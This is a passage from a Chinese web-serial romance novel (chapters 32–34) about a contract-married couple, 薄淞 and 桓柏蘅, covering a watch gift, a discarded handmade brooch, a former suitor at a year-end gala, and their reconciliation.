薄淞坐床边,看人从眼前过去,背肌线条性感,水珠滚落,没入腰间松松耷着的浴巾上,陷进浅浅的一道沟壑。 桓柏蘅取出棉质内裤,家居服,解开浴袍时,薄淞目光晚了半拍挪开喉结轻轻滚了下- 饭后,桓柏蘅要再去趟环悦,薄淞又有些无所事事。 觉也是彻底睡饱,他想着去后院走走,看看角落两株有开花迹象的水仙。 “下午没事?” 桓柏蘅忽然来了句。 薄淞脑子思绪暂缓,“嗯。” “送我过去?” “好。” 薄淞不知道桓柏蘅为什么忽然让他当司机,但他很愿意,迅速换好衣服,和人一道出门。 出来一趟,他才意识到自己有多宅,从民政局回来,也有五六天了,他一次门都没出过。 薄淞又忽然想起林序淮,默默叹了口气。 和对方约见面迟迟约不上,林序淮有意躲着他,薄淞旁敲侧击问过桓柏蘅,对此,桓柏蘅态度很冷漠。 不知道,不关心的意思,薄淞也不好再问。 车子停在环悦外。 桓柏蘅解开安全带,侧身,“上去呆会?” 桓柏蘅说呆着的地方,无疑是酒店套房。 薄淞唇角抿了下,犹豫,如果上去了,什么时候下来就是个问题,他不想这个时候耽误桓柏蘅工作,有些艰难的拒绝。 桓柏蘅不会强留他,不过他能从薄淞眼底看到点怯意,他其实真没这个意思,不过也不会解释。 “我大概五点半结束,晚上能来接我吗?” “可以。” 薄淞想说,那可以晚餐顺便在环悦解决,就不让阿姨跑一趟,他话没来及说,桓柏蘅报了家餐厅的名字。 “妈说你喜欢这家。你给我当司机,晚上我请你吃饭。” “” “还有这个。”桓柏蘅从兜里掏出个盒子,递过去。 “” 薄淞几分不那么真实感的接过,打开,是他常戴的品牌的表,这款是最新的限量版,售价得六位数。 “不喜欢?” 桓柏蘅半天没见他说话,盯着表也不像多高兴,问了句。 薄淞摇头,抬眼,“不是。喜欢的。” 他低低又补了句,“我没想过让你给我回礼的。” 他送桓柏蘅礼物,并不是要桓柏蘅补送给他,如果每次桓柏蘅都要这样,他还怎么给人送礼物,而且,也会被觉得麻烦把? 桓柏蘅不喜欢有情感需求的那一类人,礼物也是需求的一种。 “我有说这是回礼吗?” 桓柏蘅话里不解,他从不屑于这方面说谎,他说不是,就不是,“回礼价钱得对等,这表没你送的车贵。前几天,你睡觉手机屏没锁,浏览器我看见的,你两天都在看这款表。” “不是什么回礼。”桓柏蘅说的轻飘,“你喜欢,我才送你的。” “,,,”- 薄淞回到家,车库里,他打开盒子,盯着手表看了很久。 拿出来,往手上试了试,表盘是星空的颜色,表带颜色深些,是细的。 这款表其实过于年轻,所以他犹豫着一直没下手。 可桓柏蘅送给了他,说“因为他喜欢”。 薄淞眼睛用力闭了下,把表取下来,小心翼翼地装回了盒子,揣进手心,一路捧着上了电梯。 他上一次为收到礼物而雀跃不止,还是在十岁,他爸国外给他带回来的音乐盒。 客厅亮堂,薄淞出去时,见着阿姨。 “您怎么来了?” 他几分讶异,他还没给阿姨发消息,晚上他和桓柏蘅去外面吃。 “哦,我这不是老糊涂了嘛,之前小蘅喊我把楼上那堆不要的东西处理了,一直没记起来,想着了就赶紧过来。” 薄淞了然,正好说了晚上不在家吃饭的事,阿姨应了,又看玄关处整整三箱子的东西,阿姨说楼上还有。 “我帮您一块吧,您等我一会。” 薄淞把表盒收进卧室里,才下楼帮忙。 从三楼储物间拖出来的好几个纸箱,当初桓柏蘅说要丢的,结果运送的师傅弄错了,一并送过来了。 薄淞帮忙把箱子拖进电梯里,弄到玄关的地方,一会司机过来取。 其中一个箱子破了个角,里头的东西掉出来,落在电梯口,薄淞看见了,过去捡起来,是个小摆饰。 阿姨打开纸箱子,再次确认有没有丢掉不该丢的东西。 零零碎碎的,薄淞看她翻出来,很杂。 他想说自己先上楼了,余光却瞥见一个熟悉的盒子,话语哽住。 大脑空白一瞬。 盒子被阿姨丢开在一边,和其他七七八八的杂物一起,是不重要的垃圾。 薄淞看了阵,缓慢走过去,蹲下,从堆叠的东西里翻了出来。 很普通的盒子,可也不那么普通,因为盒子侧边角落的简笔画是他亲手绘上去的,当时桓柏蘅没有注意到,也没问过他。 盒子里的东西 薄淞想,或许只是个盒子,盒子本来不是重要的。 他打开手中有一定分量的黑盒。 盒子里是枚胸针,海浪缀着的浪尾闪着点点银色亮光。 “” 薄淞其实也没跟桓柏蘅说过,因为想要这枚胸针独一无二,海浪尾端的钻,是他一颗颗亲手粘上去的。 每粘一颗,他都在想桓柏蘅收到时的模样,每一颗,都代表了对桓柏蘅真心的祝愿。 可它在这,和所有桓柏蘅不重要的东西一起。 都要被丢弃。 第32章 薄淞到环悦的时候, 桓柏蘅已经等了许久,裹着羽绒外套,眉头轻皱, 正盯着手机。 【薄淞:我到门口了, 可以走过来吗?】 这个点车多,得排着队才能进去, 他的车没录入,走不了桓柏蘅的特殊通道。 薄淞想着让桓柏蘅走几步。 不远处, 收到消息的人抬起头,目光和薄淞远远碰上,又低下去,薄淞收到简单的一个回复。 【桓柏蘅:。】 桓柏蘅绕过车流,往他的方向过来。 不一会, 到车跟前。 他拉开车门时, 卷进了些外头的寒气,很快被温暖的空调风驱散,车里弥漫着淡淡的香薰味道。 “等很久了吧, 抱歉,路上堵了会车。” 薄淞等人系上安全带,车子开进马路时,开口致歉。这确实是他疏忽,临近过年,荣市空了一大半,他以为肯定不会堵车,所以凑着时间出来,却不想街心路那边还是堵上了,迟了将近二十分钟。 过来的一路他都有些懊恼, 应该早点出门的,在家里其实也没干什么,整个下午他都有些浑浑噩噩的。 他真心觉得不好意思。 “晚上还是我请你吃饭吧,当作赔罪行吗?” “不用。” 桓柏蘅拒绝,嗓音被风吹得几分沙哑,很明显,薄淞偏头瞧了他一眼,唇角抿起。 这事是他的错。 等车子停在红绿灯口,薄淞侧过身,打算再认真道一次歉。 先一步视线里多了只手。 桓柏蘅把手心摊平,再蜷起,给他看。 “怎么了?” 薄淞犹豫着问。 桓柏蘅吐出字,“疼。”又强调,“冻的。” 他整只手确实很红,尤其五指的位置,像是肿了些,到现在也没缓过来,这个温度,风刮过来,在室外没一会就能冻僵。 “你放空调口烤一会吧。” 薄淞听他说疼,赶紧把温度调高了些,可也没见人把手放过去烤。 桓柏蘅直直盯着他,又皱起了眉。 大有一种你就这么敷衍我的意思。 “下次不要那么早下来啊。” “责任在我?” “” 薄淞不是推卸责任的意思,只是担心,可桓柏蘅不为所动,没想给自己的手做任何抢救,他只好握住那只明晃晃昭示他“罪名”的手,往风口带。 结果反手被扣住,桓柏蘅表情缓和些许。 “” 薄淞明白了什么,动作顿住。 相贴的手心传来彼此温度,薄淞的热和桓柏蘅的冷中和了些,是很舒服的温度。 “你别握的太用力。”桓柏蘅很挑剔,“我大概要再暖个几分钟。” “”薄淞怔住,半晌才低声回答, “好。” 他让人握着,放缓车速,驶过了转绿的十字路口- 环悦入口处,停了一众豪车,车上男男女女下来,打扮的华贵雍容。 薄淞是自己开车过来的,走的专属通道。 昨天桓柏蘅让安保开放了权限。 环悦作为荣市高奢地标形酒店,常年承包这类大型社交晚宴,五十至五十五层,是特地为此整层打通一体的宴客厅,带空中花园和小型酒吧,俯瞰荣市夜景极佳。 电梯升至五十二层。停下。 薄淞从电梯出来。 荣市的年终宴会,今年的举办点在环悦,而五十层往上,今日全部暂停对外营业,确保宴会的私密性和安全性。 电梯口入场厅前,又一道安保,查邀请函。 薄淞见到了熟人。 “薄总。” 男人三十而立的年纪,周身气质非凡,从另一道电梯正出来,见到他,脚步稍顿了下,朝他过来。 薄淞等男人到跟前,微笑道,“好久不见,周总。” “两个月零八天,不算很久,不过我出去一趟回来,物是人非啊。” 两人之间相当熟络,周庭谨没那么多客气的成分在,他也一向直接,薄淞是知道的,只是对于这番带了点深意的话,薄淞但笑不语,只问,“还顺利吗?” 周庭谨这两个月不在国内,处理海外的一个项目,薄淞结婚的邀请函发过去,对方赶不及回来。 “繁琐而已。”周庭谨简单一句带过,描摹眼前人模样。 薄淞一身纯白礼服,暗金色袖口规规矩矩贴着白皙手腕,西裤勾出修长身形,头发该是简单用发胶固定住,完完整整露出底下一双眼睛,长睫带着些卷翘的弧度,眉目越发的温润柔和。 “你很少穿白色。”周庭谨说。 薄淞长睫垂下,嗓音仍旧是温温雅雅,清冽的像初春融化的冷泉,“偶尔也穿的。” 这身是桓柏蘅给他选的,说他穿白色好看。 两人往前,到入口处。 周庭谨从怀中拿出邀请函,递过去,工作人员核对信息时,他看向身侧的人,薄淞往厅里看。 “周先生,您可以进去了。”工作人员核验过,恭敬道。 周庭谨道了声谢,同薄淞一道进去。 厅内灯光明亮,一派奢华。 “我都忘了,你今天是东道主。” 周庭谨眼神扫过薄淞左手无名指的戒指,今晚所有受邀的宾客,无一例外都要出示邀请函但自家人不用,薄淞可以直接进来。 薄淞对此并无否认,“周总今晚尽兴,有需要可以跟我说。” 客套,疏离,薄淞一向温和,可从来有距离感。 “当然,你先忙。”周庭谨有分寸。 薄淞颔首,离开。 他没留意身后追随的目光,径直走过大厅,拐角处身影消失,周庭谨才收回视线,随手拿过边上架子的红酒,指尖摩挲杯壁,饮尽- 宴会还没开场,宾客来的不多。 “爷爷。” 薄淞走进休息厅,同老爷子打招呼。 老爷子转过身,一丝不苟的西服衬的威严十足,在薄淞走近时,露出点笑。 “来了啊。” “嗯。” 薄淞应道,往爷爷身后看,没看见想看见的人。 桓柏蘅作为负责人,提早便过来,盯着现场,薄淞是看着他出门的。 “毛毛躁躁,说有东西落了,在找呢。”老爷子看了眼时间,“小淞,正好你过来,帮爷爷去” 老爷子话没说完,门口走进一人,止住了话,薄淞也明白,转身。 桓柏蘅和他同色系的白西装,视线在薄淞胸口徘徊了下,挪开。 “找着了没?”老爷子问。 “没。”桓柏蘅蹙眉。 “不是重要的先不找了。” 老爷子不知道桓柏蘅这会找什么,问了也不肯说,直接发话让人不用弄,和薄淞一块去外面,接待宾客。 当然,以桓家的身份,是无需主动攀附的,不过老爷子重礼数,作为筹办方,让宾客尽欢是应该的。 薄淞和桓柏蘅一道往外去。 宴会上很多人,两人都见过,婚礼有邀请,见着又是社交场合的寒暄。 “我今天会少喝。” 薄淞在桓柏蘅目光在酒杯和他之间逡巡两回时,反应过来,做出保证。 桓柏蘅“嗯”了声,又看了人一眼,薄淞是第一次在外面的场合把头发撩起来,清晰的露出眉眼。 这让他不合时宜想起对方额发被汗水打湿时,虚焦涣散的瞳眸,他就会把薄淞头发撩起来,吻人眼睛。 薄淞的眼睛很漂亮,湿漉漉的时候最好看。 “下次头发可以放下来。”桓柏蘅说。 他不想让别人看见这双眼睛。 “” 郑云松和许景渊接近七点才到,结伴上来。 薄淞和桓柏蘅并肩而立,宴客厅中心,来的人差不多,打过一圈招呼。 “桓总。” 郑云松招手换来侍应生,往许景渊手上同样塞了杯酒,笑眯眯过去。 “不是,你这什么表情啊,我也是宾客好吧,来来来,碰一杯,你今天看起来特别有范。” 郑云松一直嫉妒桓柏蘅,毕了业跑国外读书潇洒去了,不像他,刚毕业就成了社会人士,压力大。 “薄淞,你今天看起来很不一样。” 许景渊忽然开口,冲着薄淞说的。 “” 他这话,在场三人都愣了下。 郑云松思考起许景渊脑子可能在家没带,这话怎么说怎么不合适,对着兄弟的老婆,而且兄弟还格外小心眼桓柏蘅冷冷瞥过去一眼,眸子眯起。 薄淞则是稍稍怔愣,回应这句该是夸奖的话,"谢谢。" “不客气,我说的都是真心话。”许景渊记着上次说薄淞“圣人”的事,赶紧找补,又旁敲侧击拉关系,“序淮说你大学时候很受欢迎,我能窥见风姿了。” “你最近一直和他在一起吗?” “是啊,我们形影不离。” 薄淞想到他问林序淮时,对方说在家不想见人。 “我们昨晚还在一块,他亲手为我调了杯酒,独一无二的,你要看吗?” 许景渊说着就要调出照片给薄淞看,被郑云松制止。 “下次看下次看,或者你给我看啊,我喜欢看。” 四个人见面,他们两人热聊,场面极其诡异,郑云松察觉到桓柏蘅表情已然不对。 他把人拉过来,“哎,那个余总怎么在那,你不是正好找他嘛,走啊,走。” 郑云松把许景渊扯走,才想问许景渊发什么疯,瞥见不远处男人,把人甩在一边,又飞速回去。 薄淞仍在消化许景渊的话,没注意到桓柏蘅一边十分不悦的目光。 “那个,学长,我跟柏蘅有点事聊啊,借用一下。” 桓柏蘅被拉走脸很臭,“有事?” 郑云松扯过他,耳语,“跟你说个小道消息,可信度百分之八十。” 桓柏蘅不想听,没兴趣。 “有关学长的。就你后面,香槟堆旁边的周总”郑云松一脸神秘且八卦,“据说他跟学长求过婚,你注意点。” “” 郑云松友情提示完脚步飞快走了。 因为桓柏蘅的心情马上就不会好了。 果不其然桓柏蘅侧身,眉眼已然阴沉不少,同不远处所谓的“周总”对视上。 不是无意间的视线碰上,对方像是存心打量他,见他看过来也不慌不忙,隔空举着杯同他碰了下。 周庭谨,桓柏蘅脑中冒出名字。 他知道这个人。 爷爷有过评价,只一句,和他年轻时候几分像,这无疑是非常高的认可。 老爷子年轻时雷厉风行,眼光毒辣,魄力手段样样不缺,周庭谨同样如此,不止是周家根基深,他这个人不可小觑,不过三十年纪,已在周家盘根错节的复杂势力中,做到了全然的主导位置。 而薄淞桓柏蘅隐约记起那晚他问过周庭谨,薄淞的评价同老爷子一样简单。 稳妥,可以信赖。 同样是不低的评价。 桓柏蘅抬了抬杯子,隔空应了男人这杯酒。 晚七点,宴会开场。 人群往正中间汇聚,中心搭了台子,桓柏蘅代表老爷子上台致词,这也是他正式以桓家继承人的身份,在圈子里露面。 他上去前,薄淞喊住了他。 桓柏蘅侧过身,垂眸。 薄淞从西装左侧处摘下了胸针,振翅的雄鹰通体由熔岩金打造而成,鹰眼猩红,衔着剔透的蓝宝石佩戴在了桓柏蘅胸前,弥补了西装一身白而过于单调的缺陷。 “好了。” 薄淞给他仔细佩戴好,眼尾弯了弯,“去吧。 “” 第33章 桓柏蘅从台上下来, 被人群围住。 婚宴当天,不是所有人都到场,对他自然有好奇, 趁着机会有想巴结的, 也有纯粹社交性的打招呼。 间隙话题往薄淞那引了引。 桓家的结亲对象。 薄淞,圈内都知道, 两家算是般配,而刚才那一幕, 前排大部分人都看见。 桓柏蘅的视线越过人堆,落在不远处薄淞那,薄淞站在原地,见他望来,笑了笑。 像在等他。 桓柏蘅垂眼, 半晌抬起, 他往薄淞那过去,对方却忽然后退了一步。 脚步停住。 薄淞这会露出的笑有些无奈,眼神示意他周围一圈的人, 又耸了耸肩,摇头。 “” 桓柏蘅没动了,烦躁看了一圈碍事的人,扯起唇角敷衍的公式化笑容- 桓柏蘅应付完这些人花不少时间,又被喊去认识几个公司常年合作的负责人。 等他再回来,薄淞已经离开。 人不知道去哪。 桓柏蘅去找。 宴客厅分为主厅和东西南北四个侧厅,找一圈下来费不少时间,郑云松先看见他。 “你干嘛去?” 郑云松凑过去,桓柏蘅眼神在厅里扫了圈,问, “看见薄淞了吗?” “看到了啊。”郑云松是真看见了,“外面呢。” 指的花园,人少,透气。 “喝多了?”桓柏蘅眉头不自觉拧起,薄淞答应过他,会适量。 “没吧,挺清醒的,以前也这样。” “以前?” “我又不是第一次酒会碰到他,挺多次了吧,可能嫌吵?不知道,那会又不熟,你两没结婚前,碰上个十几二十回,话都没说过两句。” 薄淞不像表面看着那么好接近,桓柏蘅是认可的,沟通方式柔和是一回事,有原则边界感强是另一回事虽然对他应该没那么多边界感,婚后更是到予取予求的地步。 毕竟他不是“别人”。 桓柏蘅眉挑起了一丝弧度,他其实没觉得特别高兴,对他不一样是应该的,可薄淞乱跑没告诉他,是不应该的,哪怕对方不热衷这样的场合躲清净,可最起码跟他说一声,他找了很久。 “他刚才一直在外面?”桓柏蘅随口问问。 “那哪能啊?”郑云松带桓柏蘅从正中间的厅穿到外头的走廊,“和李总热聊了二十分钟吧,齐总五分钟,还有那个小李总,都姓李,不是李总儿子啊。” 桓柏蘅确定里面没一个姓周的,又确定李总年纪很大,才淡淡的语气开口。 “你不用跟我说这么详细。” 郑云松扫了他一眼,忍住白眼没翻天上,信口胡诌,“哦,好像还有那个周总。” “” “周”字被足足拖了四五秒的长调,两人穿过厅,到长廊,灯光暗下许多,直走过去,就是花园。 郑云松还在那“回忆”,愣是半天回忆不起来,存心吊着桓柏蘅,直至两人到花园。 不远处的两道身影,在黑夜里明显。 得,一语成谶。 郑云松迅速噤声。 薄淞听见身后脚步声时,回头。 “失望了?”周庭谨身影从灯光明亮的大厅出现,踱步过来。 “不会。” 薄淞没想着桓柏蘅来找他,见到男人也不算意外。 “我今天犹豫了很久,要不要找你。”周庭谨到他身侧,偏头望过去,“现在你的身份,好像已经不太允许我这么做了,可我又想,万一我不来,你会觉得失望呢?” “” “好吧,开个玩笑。”周庭谨微微笑道,顺着薄淞视线,一同俯瞰高楼延绵的灯火,低声道,“是我自己想过来,习惯了。” 薄淞总是在各种社交场合待不住,毕业刚接手公司那阵尤为严重,总寻着空隙爱找无人角落呆着,呆的舒服了再回去,来来回回多次。 周庭谨发现对方,是因为他有烟瘾的缘故,时不时出来抽两根,一回,两回他们常常碰到一块,倒是也离奇的,愣是没打过招呼,他抽他的,薄淞发自己的呆。 直到他有次没带打火机,找对方借的。 薄淞不抽烟,可这种场合,携带是有意义的,比方说,借给有需要的人。 风大,薄淞掩着手心,替他把火点着,他正好闻见对方身上风吹来的一缕很浅的香味,不同于香水浓烈的刺鼻味道,他竟觉得几分放松。 自从,他们相识,成了见面会点头招呼的关系,在不同的宴会间隙碰见,开始聊上那么两句,公司项目上的合作后,交集更多,再碰上,他开始能看到对方唇角扬起的弧度,微微弯起的眼尾。 “薄淞。”周庭谨看人昏暗中侧脸,轻声唤他,等面前的人看过来,才笑了笑,几分怀念,“我很久都没听你喊过我“庭谨”了。” “” 薄淞沉默的目光,比起其他人,薄淞对他总是要更冷淡些的,薄淞什么都没说,或者也是无话可说,周庭谨笑了笑,也并不期待他说点什么。 “可以抽根烟吗?” 他很久不在薄淞面前抽烟,薄淞不喜欢烟味。 所以后来每次,他出来不再是为了解决烟瘾,他找到薄淞,和对方说话,看人眉眼舒展的弧度,偶尔薄淞喝的多些,会抱怨繁琐而无聊的应酬。 “当然。” 周庭谨点了根烟,火星一明一灭,他没抽完,只过个瘾,按灭烟头,丢进烟灰缸里。 “收到你的婚礼请柬时,我有想过回来。” 周庭谨重新开口。 荣市的夜景很漂亮,连成一片的灯,像密密麻麻的星星。 “我不后悔对你的感情可我很多时候会想,如果你不知道就好了,我们现在或许还能是很好的朋友。” 他们也曾经有过很多愉快的交谈,很多工作外私人的出行,爬山,出海,旅行错误在于,他以为他们是心意互通,可其实薄淞从未给他超过朋友外的特殊暧昧。 他只是被单方面的心动冲昏了头。 海边夜风习习,星光浪漫,他望着面前的人侃侃而谈的浅笑模样,做出了逾距的事。 他没能吻到薄淞。 薄淞的眼底是震惊,海水涌上来,碰到身体,冰冷而刺骨,连同面前的人眼底温度也一并凉透。 在那之后,两人再也没有过工作外的交集,他也没再听过薄淞喊他“庭谨”,成了周总。 单方面的喜欢是种负担,对于薄淞而言,他不想承担这份无意义的负担。 所以,连朋友也做不了。 “过去的事,没有意义。” 薄淞的回答仍旧平淡,响在耳边,拉回周庭谨思绪。 “我知道。”周庭谨笑了笑,“太久了,我都习惯了,只是偶尔我会想一想,觉得吧,你这个人,做事还挺绝的,喜欢你好像跟我有罪” “周总。”薄淞打断了他,“我该回去了,你今晚还是少喝点。” “我没喝多。” 薄淞不欲再说,前尘往事没意义,他准备离开,周庭谨忽然问。 “为什么是他?” “” “我喜欢你,所以我出局了,所以选择他,是因为他根本对你没有感情,你觉得轻松?” “我不太懂你的择偶方式,你是心里有人,还是不把感情当回事?” “或者他是你喜欢的人?” 薄淞的闪婚太奇怪,周庭谨却无力阻止,事已至此,他没想过把人抢回来,也没这个能力,只是到最后,他承认,他不甘心,以及遗憾。 “明明我那么喜欢你,我从没要求你回应我。” 话音落下,半晌的安静,无人回答。 周庭谨摸索到兜里烟盒时,才听见薄淞开口。 “周总,这跟你没有关系。” “” 薄淞想,或许太久他忘了,所以周庭谨出现是为了提醒他,他和桓柏蘅其实是一样的人。 不必要的情感纠缠在他们眼里是麻烦琐碎的事,不论需不需要做出回应,这个人的存在就已经是个困扰。 所以往前进一步,就不能再往后退了,他知道周庭谨的心意,注定他和周庭谨做不了朋友。 哪怕他们曾经很聊得来可太久了,薄淞已经不记得和对方相聊甚欢的日子。 那他和桓柏蘅呢? 有一纸婚姻协议绑着? 可只有他自己知道,协议对桓柏蘅不生效,如果有一天桓柏蘅看见他就觉得心烦不快的话,桓柏蘅想离婚,他不会拿协议捆住对方的。 这是他婚前就给予桓柏蘅的承诺,始终有效- 薄淞回去时,碰着迎上来的李总。 关于明年新项目的事,对方刚才一番寻思后,仍觉几处困惑,找薄淞商议。 薄淞往主厅方向看了眼,收回目光,让人移步休息室,安静的环境下方便交谈。 一番沟通花了将近半小时。 李总离开后,薄淞找侍应生要了杯热水,缓了缓干渴,起身时门口身影进来,迈出的脚步顿住。 他眉眼不自觉柔和下来,“怎么样?” 薄淞其实并不担心,桓柏蘅能处理的很好,任何事情。 桓柏蘅没回答,只等薄淞走近,看着对方,问,“你刚才去哪了?” “我一直在这,李总说” 他的话被打断。 “我问的,是在这之前。”桓柏蘅强调,“我没找到你。” “花园里呆了会。” 薄淞被桓柏蘅目光注视着,对方开口问出的话,隐约让他觉得有些奇怪,他思考着是不是桓柏蘅看到了什么,可没等薄淞往深入细想,桓柏蘅转开了话题,一句话砸下来,几分猝不及防。 “你知道了吧.”桓柏蘅语气淡淡,“你送我的那枚胸针,我扔掉了。” “” “她们确实问过我,我亲口说的,是不要的东西。” “” 第34章 桓柏蘅想, 他应该要和薄淞先说明。 这件事是他的问题。 总归也逃不过去。 晚宴前那阵,他给家里阿姨打电话,知道了昨天下午的事。 在一堆待处理的废弃物品里, 看到那枚胸针时, 薄淞的心情该是什么样呢? 桓柏蘅想,应该不会很好, 可能会有些难过? 为此他有些心烦。 薄淞出现在宴会那一刻,其实就想找人谈, 可第一次开口道歉桓柏蘅是打算道歉的,哪怕其实并不全是他的问题。 虽然东西确实是他亲口说的不要的。 那是他刚从许景渊口中得知,薄淞隐瞒他的事情,确实接受不了。 回去时,家里的阿姨在收拾东西。 那阵婚约已然敲定, 东西陆陆续续在打包, 他费了不算短的时间在结婚这件事上,临了结婚对象是有问题的,桓柏蘅不可能没有情绪, 酒喝的多了些,大概是。 他不太记得,以至于很多事都模糊,只记得回去就睡了。 所以很多细枝末节,是在下午那通电话中隐约闪现片段,其中包括被询问茶几上的东西是否需要一并收起来打包至新家时。 他回头看了一眼,只厌恶说了两个字,丢了。 婚姻都不想继续,又怎么会在意一个他确实也并不在意的,从成为他的礼物那刻起就被随意丢在客厅的东西。 他不喜欢, 一点也不,而那会,送东西的人在他心里也没多少分量。 桓柏蘅看进此刻薄淞因为他的话而稍稍怔愣的眸底。 他承认,现在可能有些分量。 因为薄淞对他挺好的,和他各方面都很契合,昨天吃饭的时候,对方为他挑了一整碗的蟹肉,为他戴上胸针,在人群外微笑看他,以及衣帽间,他亲吻薄淞时温顺而柔软的眉眼桓柏蘅想,道个歉,也不是很难的。 告诉薄淞,他不是有意的。 如果薄淞为此难过的话,他可以作出补偿以后,桓柏蘅愿意多给一个承诺,薄淞再送他任何东西,他不喜欢,也可以保证不会再丢。 “这样啊。”薄淞开口的话,把桓柏蘅想说的通通堵了回去,他眼尾弯了下,是和往常一样熟悉而轻松的笑意。 “我知道啊,不是什么重要的东西,没关系的。” “” “因为找人定制的原因,盒子上当时印了名字,所以才想着把盒子拿回来,阿姨和你说了是吧?”薄淞像是明白桓柏蘅未开口的困惑,耐心解释,“我把名字抹掉了,东西也处理了,抱歉,我不知道你不喜欢,下次我会考虑送点别的。” “”桓柏蘅表情变了一瞬,“处理是什么意思?” “丢了。”薄淞说,低垂下眉眼,语气几分无奈,“我送礼物好像真没什么天赋,如果之后还是买到你不喜欢的,你直接丢掉就好。” 礼物是送给喜欢的人,没有人天生喜欢送礼物,况且这是薄淞送他的第一份,有精心挑选过的,是珍贵的心意,可为什么薄淞能把它拿回去丢掉? “你送我了。”桓柏蘅忽然没来由的躁,紧盯着他,强调一遍,“这是我的,你凭什么丢?” “不是不要了吗?” 桓柏蘅意识到薄淞另一层话,是说他在无理取闹。 他把东西丢了,然后质问薄淞为什么不让他自己丢了?所以他要告诉薄淞,他现在想要了,还给他吗?他凭什么要一个对方都不在乎的礼物。 能被随手丢掉的,是不重要的。 薄淞在乎的话,就不会丢弃。 “你如果想要的话,我可以再送你一枚很多枚。”薄淞迎着桓柏蘅像是有些受伤愤怒的眼神,指尖掐进手心,他镇定住情绪,让自己丝毫不在意的云淡风轻地告诉桓柏蘅,“只是一枚胸针而已。”- 晚宴结束,薄淞和桓柏蘅一道,送老爷子离开后,上车准备回去。 车窗被敲了两下,薄淞看过去,郑云松人在窗外,冲他指了指窗边座位上的人。 桓柏蘅一上车,闭眼就要睡的意思。 薄淞不知道对方是困,还是单纯不想看见他从休息室出去后,他和桓柏蘅再无交流,只要他出现的地方,都不用过去,远远只有桓柏蘅一个背影。 后面他就没再乱走了。 不去桓柏蘅面前讨嫌,也就不知道桓柏蘅到底有没有喝多,可桓柏蘅身上,酒味是很重的。 薄淞停止去想。 同司机回过头为难的表情对上,大概也清楚桓柏蘅脾性,司机没有随便摇下车窗,征询薄淞意见。 车内气氛古怪。 郑云松也就懂怎么回事了,他径直绕到另一边,到薄淞窗外,薄淞才摇下车窗。 “学长,就简单说个事,”郑云松抬起下巴朝着桓柏蘅方向扬了扬,“他不是年后要走吗,我们一朋友提议这两天找个暖和的地玩,两三天时间,除夕回来,我跟他说过了,朋友现在在买机票,就想问问你去不去,你去的话,把身份证发” “他不去。” 一道声音插进来,桓柏蘅睁眼,冷漠看他,“你不要随便什么人都往我们的圈子里拉。” 他说,“玩得到一块吗?” “” 郑云松忍下了大声吐槽到底是谁先说要把薄淞带去这件事,他或许就不该问,要不是时间紧张,他们明早上的机票飞,过年期间票少,给桓柏蘅发消息又一字不带回的。 薄淞的票是买还是不买? 现在有了答案,但也足够尴尬。 “我就不去了。”薄淞打破这阵尴尬,“你们好好玩。” 郑云松在桓柏蘅重新闭上眼睛后,口型对薄淞比划了个抱歉,薄淞不觉得有什么好抱歉的,桓柏蘅说的算是实话,他比桓柏蘅的朋友都要年长,去了反而是扫兴。 车窗合上前,郑云松示意薄淞看下手机。 车子驶出车库时,薄淞打开,消息正好跳出来,郑云松刚给他发的,薄淞看了一阵,屏幕暗下时,视线往身侧落,桓柏蘅侧身的姿势,头偏向另一侧,像是巴不得离他越远越好。 心里涌起酸涩泛苦滋味- 桓柏蘅洗漱完,从浴室出来。 头发湿漉漉的,淌着水珠,滚到地上,晕开地板深色痕迹,薄淞进来的脚步顿了会,才至床头,把水杯放上去。 水里加了冰块,又切了点青柠檬进去,混着调好的蜂蜜,可以解酒。 薄淞在床头站了会,等桓柏蘅换好衣服,才喊他来喝点。 桓柏蘅充耳不闻,掀开被子,往床上躺。 枕套被弄湿了一片。 桓柏蘅闭眼,只几秒,听见离开的脚步响起,于是眉眼拧成一团,默数到十,坐起时胸口起伏厉害。 然后同回来的人对视上。 薄淞手里拿着吹风机和毛巾,愣了会,在桓柏蘅翻身重新躺下去之前,软了语气。 “我帮你吹干再睡好吗?”他说,“你这样会容易生病的。” “” 毛巾很软,是薄淞自己的那条,遮住了桓柏蘅视线,毛巾上很淡的洗发液残留的香味,桓柏蘅闭上眼,薄淞力道就更轻,替人擦去头发上水渍。 等擦到半干,他才把毛巾挪开,桓柏蘅又睁眼看他。 薄淞唇角抿起,手心在人眼睛上掩了下,遮住几分像是有些委屈的眼神,心里就软的一塌糊涂。 “我们去浴室吹好不好?” 床被搞得有些湿,桓柏蘅这一侧的位置被水珠晕开几片痕迹。 桓柏蘅一直在看他。 薄淞说。 “我没有跟周总聊什么,他也没跟我求过婚,是真的。” 郑云松发的消息,说桓柏蘅很在意这件事,来休息室找他是想问他,而薄淞在这件事上,是可以让桓柏蘅放心的。 “只是合作伙伴而已。” 桓柏蘅很多时候的举动,总会让薄淞误解,但是现在,薄淞决定不去想了,过度的掌控欲是会延伸出很多,类似在意的情绪,反倒让他忘了,这段婚姻一开始,他们就彼此摊牌默认的基本规则。 不涉及感情。 之后再多的东西,协议框框条条的限定,薄淞想,大概是因为他没有满足桓柏蘅绝对掌控的欲望,而他错认为或许有那么点喜欢。 他如果太自信,会把一切都弄糟。 桓柏蘅明明有喜欢的人。 “我有说需要你解释吗?”桓柏蘅幽幽地嗓音响起。 “是我自己想告诉你的。 ”薄淞认真告诉他,然后问,“可以去浴室里吹头发吗,我帮你吹,不然一会床单也得换了。” “我不换。” 桓柏蘅只三个字。 “我帮你换,现在可以只换个枕套。” “” 桓柏蘅身高比薄淞高,他不低头,薄淞就得抬着胳膊,站在人跟前,中档风,撩开半干的发丝。 一双锋利的眼睛盯着他。 薄淞手腕侧了侧,挡住,下秒被攥紧,挪开,桓柏蘅更加锐利的目光直盯着他。 “” 两人保持着彼此都“辛苦”的姿势吹干了头发,薄淞取出新的枕套,给桓柏蘅换上,才递过去青柠水。 “这个也喝了,行吗?” 他语气太像哄,桓柏蘅吃这一套。 薄淞再接再励,“你明天会头疼的,不是一早还要赶飞机吗?” 郑云松消息刚发给他,上午九点的机票,让他帮忙喊一下桓柏蘅,怕忘记。 “喝了吧,好吗?我帮你收点东西,去两天的话简单带两套衣服可以吧。” 薄淞的努力是有效的,桓柏蘅接过杯子,薄淞转身准备去收行李箱,胳膊就被抓住,他回头,眸光垂下来,柔软而包容。 桓柏蘅说,“一起。” “” “一起去。”桓柏蘅没喝醉,所以薄淞一举一动的照顾和迁就,都有感受到,“我生气的时候讲话难听,不要我说什么信什么。” 所以车上那番话,不是真心的。 桓柏蘅想薄淞陪他一块。 他想去哪都带着薄淞。 “我没觉得跟你处不来,你挺好的。” 